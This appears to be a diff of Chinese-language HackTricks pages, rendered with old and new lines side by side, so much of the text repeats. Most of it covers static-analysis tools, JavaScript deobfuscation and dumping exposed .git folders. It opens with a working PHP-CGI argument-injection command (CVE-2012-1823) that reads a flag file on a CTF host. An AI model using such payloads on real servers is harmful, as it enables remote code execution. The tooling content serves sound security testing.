curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
``` ```
**有关漏洞和可能的利用的更多信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** **有关漏洞和可能的利用信息:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF 写作示例**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# 源代码审查 / SAST 工具 # 源代码审查 / SAST 工具
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
</details> </details>
{% endhint %}
## 指和工具列表 ## 指和工具列表
* [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools) * [**https://owasp.org/www-community/Source\_Code\_Analysis\_Tools**](https://owasp.org/www-community/Source\_Code\_Analysis\_Tools)
* [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis) * [**https://github.com/analysis-tools-dev/static-analysis**](https://github.com/analysis-tools-dev/static-analysis)
@ -23,19 +24,19 @@
### [Naxus - AI-Gents](https://www.naxusai.com/) ### [Naxus - AI-Gents](https://www.naxusai.com/)
有一个**免费的套餐用于审查 PR** 有一个 **免费包来审查 PR**
### [**Semgrep**](https://github.com/returntocorp/semgrep) ### [**Semgrep**](https://github.com/returntocorp/semgrep)
这是一个**开源工具**。 这是一个 **开源工具**
#### 支持的语言 #### 支持的语言
| 类别 | 语言 | | 类别 | 语言 |
| ------------ | ----------------------------------------------------------------------------------------------------- | | ------------ | --------------------------------------------------------------------------------------------------- |
| GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX | | GA | C# · Go · Java · JavaScript · JSX · JSON · PHP · Python · Ruby · Scala · Terraform · TypeScript · TSX |
| Beta | Kotlin · Rust | | Beta | Kotlin · Rust |
| Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · | | Experimental | Bash · C · C++ · Clojure · Dart · Dockerfile · Elixir · HTML · Julia · Jsonnet · Lisp · |
#### 快速开始 #### 快速开始
@ -50,13 +51,13 @@ semgrep scan --config auto
``` ```
{% endcode %} {% endcode %}
您还可以使用[**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep)在VSCode中获取查找结果。 您还可以使用 [**semgrep VSCode 扩展**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) 在 VSCode 中获取发现结果。
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/) ### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
有一个可安装的**免费版本**。 有一个可安装的 **免费版本**
#### 快速开始 #### 快速入门
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -80,7 +81,7 @@ sonar-scanner \
### CodeQL ### CodeQL
CodeQL有一个可安装的免费版本但根据许可证您只能在开源项目中使用免费的CodeQL版本 有一个**可安装的免费版本**,但根据许可证,您**只能在开源项目中使用免费代码QL版本**
#### 安装 #### 安装
@ -108,13 +109,13 @@ codeql resolve qlpacks #Get paths to QL packs
``` ```
{% endcode %} {% endcode %}
#### 快速入门 - 准备数据库 #### 快速开始 - 准备数据库
{% hint style="success" %} {% hint style="success" %}
你需要做的第一件事是**准备数据库**(创建代码树),以便稍后对其运行查询 您需要做的第一件事是**准备数据库**(创建代码树),以便后续查询可以在其上运行
{% endhint %} {% endhint %}
* 您可以允许 codeql 自动识别存储库的语言并创建数据库 * 您可以允许 codeql 自动识别库的语言并创建数据库
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -127,10 +128,10 @@ codeql database create /path/repo/codeql_db --source-root /path/repo
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
通常会触发一个错误,指出指定了多种语言(或自动检测到)。检查下一个选项来修复这个问题! **通常会触发一个错误**,说指定了多个语言(或自动检测到)。 **检查下一个选项** 来修复这个问题!
{% endhint %} {% endhint %}
* 您可以手动指定**存储库**和**语言**[语言列表](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create)) * 你可以 **手动指明** **repo****language** ([语言列表](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -142,7 +143,7 @@ codeql database create /path/repo/codeql_db --language javascript --source-root
``` ```
{% endcode %} {% endcode %}
* 如果您的存储库使用**多于1种语言**,您还可以为每种语言创建**1个数据库**来指示每种语言。 * 如果您的代码库使用**多于1种语言**,您还可以为每种语言创建**1个数据库**,指明每种语言。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -156,7 +157,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu
``` ```
{% endcode %} {% endcode %}
* 您还可以允许 `codeql` 为您**识别所有语言**并为每种语言创建一个数据库。您需要提供一个**GITHUB_TOKEN**。 * 您还可以允许 `codeql` **为您识别所有语言**并为每种语言创建一个数据库。您需要提供一个 **GITHUB\_TOKEN**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -176,7 +177,7 @@ codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo
现在终于是分析代码的时候了 现在终于是分析代码的时候了
{% endhint %} {% endhint %}
请记住,如果您使用了多种语言,**每种语言一个数据库** 将会在您指定的路径中创建。 请记住,如果您使用了多种语言,**每种语言都会在您指定的路径中创建一个数据库**。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -196,8 +197,6 @@ javascript-security-extended --sarif-category=javascript \
--sarif-add-baseline-file-info --format=sarif-latest \ --sarif-add-baseline-file-info --format=sarif-latest \
--output=/tmp/sec-extended.sarif --output=/tmp/sec-extended.sarif
``` ```
{% endcode %}
#### 快速开始 - 脚本化 #### 快速开始 - 脚本化
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -221,13 +220,13 @@ echo $FINAL_MSG
``` ```
{% endcode %} {% endcode %}
您可以在[**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/)上查看发现结果或者使用VSCode扩展[**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer)。 您可以在 [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) 中可视化发现的结果,或使用 VSCode 扩展 [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer)。
您还可以使用[**VSCode扩展**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql)在VSCode中获取发现结果。您仍然需要手动创建数据库然后可以选择任何文件单击`右键` -> `CodeQL: Run Queries in Selected Files` 您还可以使用 [**VSCode 扩展**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) 在 VSCode 中获取发现的结果。您仍然需要手动创建数据库,但之后您可以选择任何文件并点击 `右键` -> `CodeQL: 在选定文件中运行查询`
### [**Snyk**](https://snyk.io/product/snyk-code/) ### [**Snyk**](https://snyk.io/product/snyk-code/)
有一个**可安装的免费版本**。 有一个 **可安装的免费版本**
#### 快速入门 #### 快速入门
```bash ```bash
@ -250,17 +249,17 @@ snyk container test [image]
# Test for IaC vulns # Test for IaC vulns
snyk iac test snyk iac test
``` ```
你也可以使用[snyk VSCode Extension](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner)在VSCode中获取发现。 您还可以使用 [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) VSCode 中获取发现。
### [Insider](https://github.com/insidersec/insider) ### [Insider](https://github.com/insidersec/insider)
它是**开源**的,但看起来**未维护**。 它是 **开源** 的,但看起来 **未维护**
#### 支持的语言 #### 支持的语言
JavaMaven和AndroidKotlinAndroidSwiftiOS.NET完整框架C和JavascriptNode.js Java (Maven 和 Android)、Kotlin (Android)、Swift (iOS)、.NET Full Framework、C# 和 Javascript (Node.js)
#### 快速入门 #### 快速开始
```bash ```bash
# Check the correct release for your environment # Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz $ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
@ -270,7 +269,7 @@ $ ./insider --tech javascript --target <projectfolder>
``` ```
### [**DeepSource**](https://deepsource.com/pricing)&#x20; ### [**DeepSource**](https://deepsource.com/pricing)&#x20;
免费用于**公共存储库** 对**公共仓库**免费
## NodeJS ## NodeJS
@ -291,14 +290,14 @@ npm install -g pnpm
cd /path/to/repo cd /path/to/repo
pnpm audit pnpm audit
``` ```
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** 用于 Node.js 应用程序的静态安全代码扫描器SAST由[libsast](https://github.com/ajinabraham/libsast)和[semgrep](https://github.com/returntocorp/semgrep)驱动 * [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** 用于 Node.js 应用程序的静态安全代码扫描器 (SAST),由 [libsast](https://github.com/ajinabraham/libsast) 和 [semgrep](https://github.com/returntocorp/semgrep) 提供支持
```bash ```bash
# Install & run # Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
# Got to localhost:9090 # Got to localhost:9090
# Upload a zip file with the code # Upload a zip file with the code
``` ```
* [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js 的目标是帮助您检测使用已知漏洞的 JS 库版本。 * [**RetireJS**](https://github.com/RetireJS/retire.js)**:** Retire.js的目标是帮助您检测使用具有已知漏洞的JS库版本。
```bash ```bash
# Install # Install
npm install -g retire npm install -g retire
@ -308,11 +307,11 @@ retire --colors
``` ```
## Electron ## Electron
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** 这是一个用于识别 Electron 应用程序中的配置错误和安全反模式的工具。 * [**electronegativity**](https://github.com/doyensec/electronegativity)**:** 这是一个用于识别基于Electron的应用程序中的错误配置和安全反模式的工具。
## Python ## Python
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit 是一个旨在查找 Python 代码中常见安全问题的工具。为此Bandit 处理每个文件,从中构建 AST并针对 AST 节点运行适当的插件。一旦 Bandit 完成扫描所有文件,它就会生成一份报告。 * [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit是一个旨在发现Python代码中常见安全问题的工具。为此Bandit处理每个文件从中构建AST并对AST节点运行适当的插件。一旦Bandit完成对所有文件的扫描会生成一份报告。
```bash ```bash
# Install # Install
pip3 install bandit pip3 install bandit
@ -320,14 +319,14 @@ pip3 install bandit
# Run # Run
bandit -r <path to folder> bandit -r <path to folder>
``` ```
* [**safety**](https://github.com/pyupio/safety): Safety检查Python依赖项中已知的安全漏洞并提出适当的漏洞修复建议。Safety可以在开发者机器上运行在CI/CD流水线中运行也可以在生产系统上运行。 * [**safety**](https://github.com/pyupio/safety): Safety 检查 Python 依赖项是否存在已知安全漏洞并建议针对检测到的漏洞的适当修复措施。Safety 可以在开发者机器、CI/CD 管道和生产系统上运行。
```bash ```bash
# Install # Install
pip install safety pip install safety
# Run # Run
safety check safety check
``` ```
* [~~**Pyt**~~](https://github.com/python-security/pyt): 维护。 * [~~**Pyt**~~](https://github.com/python-security/pyt): 不再维护。
## .NET ## .NET
```bash ```bash
@ -337,8 +336,6 @@ https://github.com/0xd4d/dnSpy
# .NET compilation # .NET compilation
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe test.cs
``` ```
## RUST
## RUST ## RUST
```bash ```bash
# Install # Install
@ -350,8 +347,6 @@ cargo audit
#Update the Advisory Database #Update the Advisory Database
cargo audit fetch cargo audit fetch
``` ```
## Java
## Java ## Java
```bash ```bash
# JD-Gui # JD-Gui
@ -363,19 +358,19 @@ mkdir META-INF
echo "Main-Class: test" > META-INF/MANIFEST.MF echo "Main-Class: test" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF test.jar test.class jar cmvf META-INF/MANIFEST.MF test.jar test.class
``` ```
| 任务 | 命令 | | 任务 | 命令 |
| --------------- | --------------------------------------------------------- | | ----------------- | -------------------------------------------------------- |
| 执行 Jar | java -jar \[jar] | | 执行 Jar | java -jar \[jar] |
| 解压 Jar | unzip -d \[output directory] \[jar] | | 解压 Jar | unzip -d \[output directory] \[jar] |
| 创建 Jar | jar -cmf META-INF/MANIFEST.MF \[output jar] \* | | 创建 Jar | jar -cmf META-INF/MANIFEST.MF \[output jar] \* |
| Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 | | Base64 SHA256 | sha256sum \[file] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| 移除签名 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA | | 移除签名 | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| 从 Jar 中删除 | zip -d \[jar] \[file to remove] | | 从 Jar 中删除 | zip -d \[jar] \[file to remove] |
| 反编译类 | procyon -o . \[path to class] | | 反编译类 | procyon -o . \[path to class] |
| 反编译 Jar | procyon -jar \[jar] -o \[output directory] | | 反编译 Jar | procyon -jar \[jar] -o \[output directory] |
| 编译类 | javac \[path to .java file] | | 编译类 | javac \[path to .java file] |
## 运行 ## Go
```bash ```bash
https://github.com/securego/gosec https://github.com/securego/gosec
``` ```
@ -393,12 +388,12 @@ https://github.com/securego/gosec
## JavaScript ## JavaScript
### 探索 ### 发现
1. Burp: 1. Burp:
* Spider and discover content * Spider 和发现内容
* Sitemap > filter * Sitemap > 过滤
* Sitemap > right-click domain > Engagement tools > Find scripts * Sitemap > 右键点击域名 > Engagement tools > 查找脚本
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls): 2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <domain> |grep -i "\.js" |sort -u` * `waybackurls <domain> |grep -i "\.js" |sort -u`
@ -408,50 +403,50 @@ https://github.com/securego/gosec
* [https://prettier.io/playground/](https://prettier.io/playground/) * [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/) * [https://beautifier.io/](https://beautifier.io/)
* 也可以查看下面提到的“反混淆/解包”工具。 * 参见下面“反混淆/解包”中提到的一些工具。
#### 反混淆/解包 #### 反混淆/解包
**注意**:可能无法完全反混淆。 **注意**:可能无法完全反混淆。
1. 查找并使用 .map 文件: 1. 查找并使用 .map 文件:
* 如果 .map 文件暴露出来,可以轻松地进行反混淆。 * 如果 .map 文件暴露,可以用来轻松反混淆。
* 通常foo.js.map 对应 foo.js。手动查找它们。 * 通常foo.js.map 映射到 foo.js。手动查找它们。
* 使用 [JS Miner](https://github.com/PortSwigger/js-miner) 查找它们。 * 使用 [JS Miner](https://github.com/PortSwigger/js-miner) 查找它们。
* 确保进行主动扫描。 * 确保进行主动扫描。
* 阅读 '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)' * 阅读 '[Tips/Notes](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
* 如果找到,使用 [Maximize](https://www.npmjs.com/package/maximize) 进行反混淆。 * 如果找到,使用 [Maximize](https://www.npmjs.com/package/maximize) 进行反混淆。
2. 没有 .map 文件,尝试使用 JSnice: 2. 如果没有 .map 文件,尝试 JSnice
* 参考:[http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice) * 参考:[http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* 提示: * 提示:
* 如果使用 jsnice.org点击“Nicify JavaScript”按钮旁边的选项按钮并取消选择“Infer types”以减少代码中的注释 * 如果使用 jsnice.org点击“Nicify JavaScript”按钮旁边的选项按钮取消选择“推断类型”,以减少代码中的注释杂乱
* 确保在脚本之前没有空行,因为这可能会影响反混淆过程并导致不准确的结果。 * 确保在脚本之前没有留下任何空行,因为这可能会影响反混淆过程并给出不准确的结果。
4. 对于一些现代的 JSNice 替代方案,您可能想看看以下内容: 4. 对于一些更现代的 JSNice 替代品,您可能想查看以下内容:
* [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru) * [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru)
* > Javascript decompiler, unpacker and unminify toolkit * > Javascript 反编译器、解包和反混淆工具包
> Wakaru 是用于现代前端的 Javascript 反编译器。它可以从捆绑和转译的源代码中恢复原始代码。 > Wakaru 是现代前端的 Javascript 反编译器。它从打包和转译的源代码中恢复原始代码。
* [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack) * [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack)
* > Deobfuscate obfuscator.io, unminify and unpack bundled javascript * > 反混淆 obfuscator.io反混淆和解包打包的 javascript
* [https://github.com/jehna/humanify](https://github.com/jehna/humanify) * [https://github.com/jehna/humanify](https://github.com/jehna/humanify)
* > Un-minify Javascript code using ChatGPT * > 使用 ChatGPT 反混淆 Javascript 代码
> 该工具使用大型语言模型(如 ChatGPT 和 llama2和其他工具来取消 JavaScript 代码的最小化。请注意LLM 不执行任何结构更改 - 它们只提供重命名变量和函数的提示。通过 Babel 在 AST 级别执行繁重的工作,以确保代码保持 1-1 等效 > 此工具使用大型语言模型(如 ChatGPT 和 llama2及其他工具来反混淆 Javascript 代码。请注意LLM 不会进行任何结构性更改——它们仅提供重命名变量和函数的提示。重任由 Babel 在 AST 级别完成,以确保代码保持 1-1 等价
* [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html) * [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html)
* > Using LLMs to reverse JavaScript variable name minification * > 使用 LLM 反向 JavaScript 变量名混淆
3. 使用 `console.log()`; 3. 使用 `console.log()`
* 找到最后的返回值并将其更改为 `console.log(<packerReturnVariable>);`,以便打印反混淆的 js 而不是执行它。 * 找到返回值并将其更改为 `console.log(<packerReturnVariable>);`,以便打印反混淆的 js而不是执行它。
* 然后将修改后仍然混淆的js 粘贴到 [https://jsconsole.com/](https://jsconsole.com/) 中,以查看反混淆的 js 是否记录到控制台 * 然后,将修改后仍然混淆的js 粘贴到 [https://jsconsole.com/](https://jsconsole.com/) 以查看反混淆的 js 记录到控制台。
* 最后,将反混淆的输出粘贴到 [https://prettier.io/playground/](https://prettier.io/playground/) 中进行美化以进行分析。 * 最后,将反混淆的输出粘贴到 [https://prettier.io/playground/](https://prettier.io/playground/) 以美化它以便分析。
* **注意**如果仍然看到打包的但不同的js可能是递归打包。重复该过程。 * **注意**:如果仍然看到打包的但不同的js可能是递归打包。重复该过程。
#### 参考 #### 参考
* [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ) * [YouTube: DAST - Javascript 动态分析](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1) * [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
* [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2) * [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
* [devalias](https://twitter.com/_devalias) 的 [GitHub Gists](https://gist.github.com/0xdevalias): * [devalias](https://twitter.com/_devalias) 的 [GitHub Gists](https://gist.github.com/0xdevalias):
* [Deobfuscating / Unminifying Obfuscated Web App Code](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code) * [反混淆/反混淆混淆的 Web 应用代码](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Reverse Engineering Webpack Apps](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps) * [逆向工程 Webpack 应用](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [etc](https://gist.github.com/search?q=user:0xdevalias+javascript) * [](https://gist.github.com/search?q=user:0xdevalias+javascript)
#### 工具 #### 工具
@ -463,3 +458,18 @@ https://github.com/securego/gosec
* [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier) * [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier)
* [https://jshint.com/](https://jshint.com/) * [https://jshint.com/](https://jshint.com/)
* [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/) * [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/)
{% hint style="success" %}
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,47 +1,49 @@
# Git # Git
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**要从URL中转储.git文件夹,请使用** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) **要从 URL 转储 .git 文件夹,请使用** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**使用** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **检查内容** **使用** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **检查内容**
